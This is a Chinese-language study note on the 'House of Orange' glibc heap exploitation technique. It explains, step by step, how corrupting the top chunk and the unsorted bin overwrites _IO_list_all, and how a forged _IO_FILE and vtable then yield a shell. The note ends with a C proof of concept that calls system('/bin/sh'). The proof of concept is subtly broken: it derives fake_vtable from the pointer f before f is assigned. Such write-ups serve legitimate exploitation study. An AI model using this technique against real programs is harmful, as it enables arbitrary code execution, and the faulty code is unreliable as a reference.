---
# System prepended metadata

title: House of Orange 筆記
tags: [security]

---

---
title: House of Orange 筆記
tags: security
lang: zh_tw
---

# House of Orange 筆記
* 使用中完全不會用到 free()
* 結合 File Structure Exploitation, 實在是很巧妙

# Step
1. 改 Top Chunk Size, 使之變小, 再申請大於 Top Chunk Size (但要小於 0x20000), 使 Top Chunk 被內部流程 free, 並被放入 unsorted bin
2. 改 Top Chunk 的 bk 改成 \_IO_list_all - 0x10, 目的是打 unsafe unlink, 攻擊後 \_IO_list_all 會指向 unsorted chunk, 也就是 &main_arena->top
3. (其實是和 Step 2 同個階段操作, 但拆開說明比較好懂) 改 Top Chunk 的 size, 改成 0x60, 使其在 malloc 後, 會將自己放入 0x60 small bin 中
4. 將 Top Chunk 作為一個 \_IO_FILE 結構體, 偽造此結構以獲取 shell
5. 呼叫 malloc, 申請比 0x60 小的記憶體, 觸發 Step 2 和 3 講到的攻擊, 操作結束後, \_IO_list_all 指向 &main_arena->top, 而該位址作為 \_IO_FILE, 他的 \_chain 形同是 &main_arena->bins\[0x11], 也就是 0x60 small bin bk, 而該位址指向這塊原本是 Top Chunk 的記憶體, 又此塊記憶體已被我們構造成可獲取 shell 的樣子 (請見 File Structure Exploitation)
6. 繼續在 \_int_malloc 中執行, 觸發 malloc_printerr, 並進而觸發 \_IO_all_lockp, 得到 shell

## Step 1 相關程式碼
![](https://i.imgur.com/lEiAjwT.png)
* 改小 Top Chunk, 使其 size 屬於 unsorted bin 範圍
* 申請大於此 size, \_int_malloc 會進到此段程式碼

![](https://i.imgur.com/ixExmoI.png)
![](https://i.imgur.com/KGVdBto.png)
* sysmalloc 會判斷要用 mmap 或 sbrk 來配置記憶體
* 若申請大小大於 mmap_threshold, 且還有空間能夠 mmap, 則使用 mmap 來創造
* 這段不是我們想進入的, 所以申請的大小不要大於 128 K (0x20000)

![](https://i.imgur.com/6cSTfT0.png)
* sysmalloc 中有這段檢查
    * Top Chunk Size 大於 MINSIZE
    * Top Chunk Size Prev_inuse bit 有啟用
    * Top Chunk + Top Chunk Size 需對齊 page

![](https://i.imgur.com/sOn8szB.png)
* 最終 free 掉 old_top

## Step 2,3 相關程式碼
![](https://i.imgur.com/fQpjoBN.png)
![](https://i.imgur.com/rwtMlfW.png)
* victim 在此攻擊中為 old_top
* **改寫 old_top 的 bk, 改成 \_IO_list_all - 0x10**
* 將 unsorted chunk 位址寫入 bck->fd, 也就是寫入 \_IO_list_all
* 執行完此程式碼片段後, \_IO_list_all 為 &main_arena->top, 其 fd 與 bk 對應到 main_arena->bins\[0] 和 main_arena->bins\[1]
* 現在 &main_arena->top 被視為 \_IO_FILE 結構, 但我們無法自由的在裡面寫資料, 無法構造 \_IO_FILE 結構, 只好再往 \_chain 下手
    * 此結構中的 \_chain 的 offset 為 0x68
    * &main_arena->top + 0x68 = &main_arena->bins\[11]
        * 為 0x60 的 small bin bk
* 先繼續看 \_\_int_malloc 繼續執行

![](https://i.imgur.com/xvm9N5K.png)
* **改寫 old_top 的 size, 改成 0x61**
* 此時 size 為 0x61, 會進入此程式碼段
* bck 為在 main_arena 中的 0x60 small chunk
* fwd 為 bck->fd, 此鏈一開始是空的, bck->fd 會是 bck

![](https://i.imgur.com/WAI4prw.png)
* 更新鏈表
* bck 的 bk 和 fd 都改為 victim
* bck 為在 main_arena 中的 0x60 small chunk
* 更改 0x60 small bin bk 為 victim
* 也就是將地址在 &main_arena->top 的 \_IO_FILE 結構的 \_chain 改為 victim
* victim 在此攻擊中為 old_top, 在此攻擊中假設是可控
* 如此就能任意構造 \_IO_FILE 結構

# PoC

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void getshell()
{
    system("/bin/sh");
}

int main(void)
{
    char *p1, *p2;
    unsigned long long *top;
    _IO_FILE *f;
    char *_IO_list_all;
    void **fake_vtable;

    p1 = malloc(0x400 - 0x10);

    // Overwrite size of top chunk
    // 1) Top Chunk + Size has to be aligned
    // 2) Top Chunk's prev_size bit has to be set
    top = p1 + 0x400 - 0x10;
    top[1] = 0xc01;

    // 0x1000 >= Top Chunk size
    // --> sysmalloc
    // --> _int_free
    p2 = malloc(0x1000);

    // Leak libc
    _IO_list_all = top[2] + 0x9a8;

    // When spitting free chunk, chunk->bk->fd gets overwritten
    // Control chunk->bk, so _IO_list_all = unsorted_chunks(av) = &av->top
    top[3] = _IO_list_all - 0x10;

    // Control size to 0x61, so this top chunk will gets added to 0x60 small bin list
    // &((_IO_FILE *)(&av->top))->_chain
    // => &av->bins[0x11]
    // => 0x60 small bin bk
    // => this top chunk
    top[1] = 0x61;

    // Fake _IO_FILE structure
    // Cannot change top[1] & top[3]
    // => _IO_read_ptr & _IO_read_base
    fake_vtable = (char *)f + 0xe0;

    f = top;
    f->_mode = 0xffffffff;
    f->_IO_write_ptr = 1;
    f->_IO_write_base = 0;
    *(void **)((char *)f + 0xd8) = fake_vtable;

    fake_vtable[3] = getshell;

    // Trigger attack
    malloc(0x10);
}
```

